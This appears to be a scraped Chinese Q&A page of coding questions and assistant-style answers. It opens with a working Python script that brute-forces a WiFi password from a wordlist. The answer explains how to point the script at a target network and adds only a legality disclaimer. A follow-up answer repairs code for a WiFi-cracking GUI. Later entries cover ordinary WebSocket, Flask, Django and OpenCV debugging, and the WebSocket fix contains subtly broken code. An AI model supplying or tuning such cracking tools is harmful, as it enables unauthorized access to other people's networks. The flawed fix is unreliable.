import time import pywifi from pywifi import const def wifiConnect(wifiname,wifipassword): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] # 断开连接 ifaces.disconnect() time.sleep(0.5) if ifaces.status() == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # WiFi名称 profile.ssid = wifiname # WiFi密码 profile.key = wifipassword # WiFi的加密算法 # *****(这个一定要选对) profile.akm.append(const.AKM_TYPE_UNKNOWN) # 网卡的开放 profile.auth = const.AUTH_ALG_OPEN # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 删除所有的WiFi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) # 连接WiFi ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False if __name__ == '__main__': path = r'/Users/zjk/IdeaProjects/test_Python/resource/pwd/passwords.txt' file = open(path, 'r') # 以只读的方式 print('开始破解:') while True: try: # 按行读取密码本 wifipwd = file.readline() # 第一个参数是指定 WiFi 名称,第二个参数是读取的密码 bool = wifiConnect('密码九宫格', wifipwd) if bool: print('密码正确****' + wifipwd) break elif wifipwd !='' : print('密码错误:' + wifipwd) else: print('破解结束') break except: continue file.close()

时间: 2024-02-14 09:26:08 浏览: 124
这是一个破解Wi-Fi密码的Python程序。它使用pywifi库连接到指定的Wi-Fi网络,并尝试使用密码本中的密码进行破解。程序会按行读取密码本文件,并依次尝试每个密码,直到找到正确的密码或者密码本中的密码全部尝试完毕。 在主程序中,你需要将`wifiname`参数设置为你要破解的Wi-Fi网络名称,将`path`参数设置为你存储密码本文件的路径。 请注意,这种破解Wi-Fi密码的行为是非法的,并且违反了用户隐私。我强烈不建议或支持任何非法活动。这个程序只是作为学习和了解Wi-Fi安全的示例。
相关问题

class MY_GUI:\n def __init__(self, init_window_name):\n self.init_window_name = init_window_name\n \n # 密码文件路径\n self.get_value = StringVar() # 设置可变内容\n \n # 获取破解wifi账号\n self.get_wifi_value = StringVar()\n \n # 获取wifi密码\n self.get_wifimm_value = StringVar()\n \n self.wifi = pywifi.PyWiFi() # 抓取网卡接口\n self.iface = self.wifi.interfaces()[0] # 抓取第一个无线网卡\n self.iface.disconnect() # 测试链接断开所有链接\n # 测试网卡是否属于断开状态\n assert self.iface.status() in \\\n [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]\n 报错MY_GUI object has no attribute iface,修改这段代码,使其正常运行

这个错误可能是由于在程序的其他部分中没有正确地定义iface对象。你可以尝试在程序的其他部分中定义iface对象,或者将它作为MY_GUI类的属性来定义。 以下是一个可能的修改版本: ``` import pywifi from pywifi import const class MY_GUI: def __init__(self, init_window_name): self.init_window_name = init_window_name # 密码文件路径 self.get_value = StringVar() # 设置可变内容 # 获取破解wifi账号 self.get_wifi_value = StringVar() # 获取wifi密码 self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() # 抓取网卡接口 self.iface = None def disconnect(self): if self.iface is not None: self.iface.disconnect() def connect(self): if self.iface is not None: self.iface.connect() def test_iface_status(self): if self.iface is not None: return self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] else: return False def initialize_iface(self): if len(self.wifi.interfaces()) == 0: raise Exception("无法找到无线网卡接口!") else: self.iface = self.wifi.interfaces()[0] # 抓取第一个无线网卡 self.disconnect() if self.test_iface_status() is False: raise Exception("无法断开无线网卡的链接!") else: print("无线网卡接口初始化完成!") ``` 在这个修改版本中,我们将iface对象的初始化和测试状态的代码移动到了MY_GUI类的其他方法中。同时,我们添加了几个新的方法来初始化iface对象、测试iface状态、连接和断开iface链接。这样,我们可以在MY_GUI类的其他方法中使用iface对象,而不会出现MY_GUI对象没有iface属性的错误。

function sendMessage(data) { {#const radioInput = form.check.value;#} const fileInput = document.getElementById("file"); {#const radioInput = form.check.value;#} const radioInput = document.getElementsByName('check') fileInput.addEventListener('change', (event) => { const file = event.target.files[0]; const reader = new FileReader(); reader.onload = (event) => { const fileData = event.target.result; const selectedValue = Array.from(radioInput).find(input => input.checked).value; const data = { option: selectedValue, file: fileData, }; {#return data#} console.log("开始传") console.log(selectedValue) console.log(fileData) console.log(fileData) socket.send(JSON.stringify(data)); }; reader.readAsArrayBuffer(file); }); }class ChatConsumer(WebsocketConsumer): def websocket_connect(self, message): # 接收客户端请求 self.accept() self.send("连接") def websocket_receive(self, event,): # self.send() print(event) self.send("已收到") data = json.loads(event['text']) print(data) file_data = data.get('file') check = data.get('option') file_data_bytes = json.dumps(file_data).encode() print(check) print(file_data) with open('received_file.xlsx', 'wb') as file: file.write(file_data_bytes) file.close() self.send('正在打开数据...') df = pd.read_excel('received_file.xlsx',engine='openpyxl') excel文件出现损坏

从你提供的代码来看,问题可能出在文件数据的传递上。在 JavaScript 中,`FileReader` 的 `readAsArrayBuffer()` 方法是异步的,所以你需要确保在读取完成后再将数据发送到服务器。 另外,在 Python 代码中,你使用了 `json.dumps()` 将文件数据转换为 JSON 格式,并使用 `json.loads()` 将其转换回字节形式。这个过程可能导致文件数据格式的损坏。 为了解决这个问题,你可以直接将文件数据作为二进制数据传递,并在 Python 代码中直接写入文件。以下是修改后的代码示例: ```javascript function sendMessage(data) { const fileInput = document.getElementById("file"); const radioInput = document.getElementsByName('check') fileInput.addEventListener('change', (event) => { const file = event.target.files[0]; const reader = new FileReader(); reader.onload = (event) => { const fileData = event.target.result; const selectedValue = Array.from(radioInput).find(input => input.checked).value; const formData = new FormData(); formData.append('file', file); formData.append('option', selectedValue); console.log("开始传") console.log(selectedValue) console.log(file) socket.send(formData); }; reader.readAsArrayBuffer(file); }); } ``` 在 Python 代码中,你可以直接读取传递过来的文件数据,并写入到本地文件中,而无需进行额外的处理: ```python from channels.generic.websocket import WebsocketConsumer import json import pandas as pd class ChatConsumer(WebsocketConsumer): def websocket_connect(self, message): self.accept() self.send("连接") def websocket_receive(self, event): print(event) self.send("已收到") data = event['text'] file_data = data.get('file') check = data.get('option') with open('received_file.xlsx', 'wb') as file: file.write(file_data) self.send('正在打开数据...') df = pd.read_excel('received_file.xlsx', engine='openpyxl') ``` 这样修改后,应该能够正确地将文件数据传递到后台并正确处理。请注意确保后台的逻辑能够正确接收和处理这些数据。同时,还要确保客户端和服务器端的代码是一致的,以避免出现其他问题。
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from flask import Flask, request, jsonify import torch from transformers import BertTokenizer, BertForSequenceClassification import logging app = Flask(name) logging.basicConfig(level=logging.INFO) tokenizer = BertTokenizer.from_pretrained('bert-base-chinese') model = BertForSequenceClassification.from_pretrained('bert-base-chinese', num_labels=2) model.eval() @app.route('/classify', methods=['POST']) def classify(): try: text = request.json['text'] inputs = tokenizer(text, return_tensors='pt') outputs = model(**inputs) logits = outputs.logits probabilities = torch.softmax(logits, dim=1) predicted_label = torch.argmax(probabilities, dim=1).item() if predicted_label == 0: result = '负面' else: result = '正面' logging.info(f'Text: {text}, Result: {result}') return jsonify({'result': result}) except Exception as e: logging.error(f'Error: {e}') return jsonify({'error': str(e)}) if name == 'main': app.run()这个是我的py代码,同一文件夹下,有一个html代码,叫做classify.html,代码如下:<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>BERT文本分类</title> <style> body { font-family: Arial, sans-serif; } h1 { text-align: center; } form { margin: 0 auto; width: 50%; text-align: center; } label { display: block; margin-top: 20px; } input[type="text"] { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; } input[type="submit"] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; } input[type="submit"]:hover { background-color: #45a049; } #result { margin-top: 20px; padding: 10px; border: 1px solid #ccc; border-radius: 4px; background-color: #f2f2f2; } </style> </head> <body> BERT文本分类 <form> <label for="text">请输入文本:</label> <input type="text" id="text" name="text"> <input type="submit" value="提交"> </form> <script> const form = document.querySelector('form'); const resultDiv = document.querySelector('#result'); form.addEventListener('submit', (event) => { event.preventDefault(); const text = document.querySelector('#text').value; fetch('/classify', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({text: text}) }) .then(response => response.json()) .then(data => { resultDiv.innerHTML = 分类结果:${data.result}; }) .catch(error => { resultDiv.innerHTML = 出错了:${error.message}; }); }); </script> </body> </html>,请问为什么打开后有问题呢,帮我解决一下,优化下代码

#定时任务 : (任意APP下的views.py下或者urls.py下) from apscheduler.schedulers.background import BackgroundScheduler from django_apscheduler.jobstores import DjangoJobStore, register_job from apps.intelligent_draw.models import Machines from datetime import datetime, timedelta from utils.const import AllConsts from django.core.mail import send_mail #将已经过时的工作都删除 __lt小于 # from django_apscheduler.models import DjangoJob # DjangoJob.objects.filter(next_run_time__lte=datetime.now()).delete() # 将数据库中已经过时的工作删除 # 开启定时配置 # 实例化调度器 scheduler = BackgroundScheduler() # 调度器使用默认的DjangoJobStore() scheduler.add_jobstore(DjangoJobStore(), 'default') # trigger: 任务执行的方式,共有三种:'date':一次性任务、'interval':循环任务、'cron':定时任务。 # @register_job(scheduler, 'cron', day_of_week='mon-fri', hour='9', minute='30', second='10',id='task_test') #注册一个定时任务 (replace_existing:重新启动时替换现有作业;防止id冲突报错) # 新增一个定时任务,每隔5分钟检测一次,如果发现机器的last_updated比现在的时间晚了半个小时,则更新机器状态为异常,并且发送一封邮件进行告警。 @register_job(scheduler, 'cron', minute='*/5', id='job', replace_existing=True) # 这里写你要执行的任务 def job_task(): print("定时任务开始:") half_hour_ago = datetime.now() - timedelta(minutes=30) machines = Machines.objects.filter(last_updated__lte=half_hour_ago) machine_list = [] for machine in machines: machine_list.append(machine.id) machines.update(status=AllConsts.MACHINE_STATUS_ILLEGAL) send_mail('邮件标题', '邮件内容', 'yourmail@qq.com', ['yourmail@126.com', 'yormail@qq.com']) # 定时任务开始 scheduler.start()这段代码有没有什么问题?

能给一个完整的实例吗,比方说以下python代码:import cv2 import numpy as np # 加载图像 image = cv2.imread("/root/camera/test/v4l2_cap.jpg") # 查看图像中是否存在蓝色和红色 blue_pixels = np.sum(image[:, :, 0]) # 蓝色通道 red_pixels = np.sum(image[:, :, 2]) # 红色通道 colors = "0" if blue_pixels > red_pixels: color = "Blue" elif blue_pixels < red_pixels: color = "Red" else: color = "None" # 将图像转换为灰度图像 gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # 边缘增强 enhanced_image = cv2.Canny(gray_image, 33, 45) # 形态学操作(腐蚀和膨胀) kernel = np.ones((3, 3), np.uint8) edges1 = cv2.dilate(enhanced_image, kernel, iterations=3) # 在灰度图像中检测圆形 circles = cv2.HoughCircles(edges1, cv2.HOUGH_GRADIENT, dp=1, minDist=100, param1=66, param2=25, minRadius=90, maxRadius=185) shape="" if circles is not None: # 在原始图像上绘制检测到的圆 circles = np.uint16(np.around(circles)) for circle in circles[0, :]: x, y, radius = circle[0], circle[1], circle[2] if abs(x - image.shape[1] // 2) > 100: continue shape = "Circle" cv2.circle(image, (x, y), 90, (0, 255, 0), 2) cv2.circle(image, (x, y), 2, (0, 0, 255), 3) else: shape = "None" # 判断是否同时出现 Rectangle 和 Triangle以及颜色是否有红,绿 if color == "Red" and shape != "Circle" : result = 'r' elif color == "Blue" and shape == "Circle" : result = 'b' else: result = 'n' # 打印检测到的形状、颜色 #print(f"Color:{color}") #print(f"shape:{shape}") print(f"Result: {result}") #cv2.imshow("enhanced_image", enhanced_image) #cv2.imshow("edges1", edges1) #cv2.imshow("Image", image) #cv2.waitKey(0) #cv2.destroyAllWindows()

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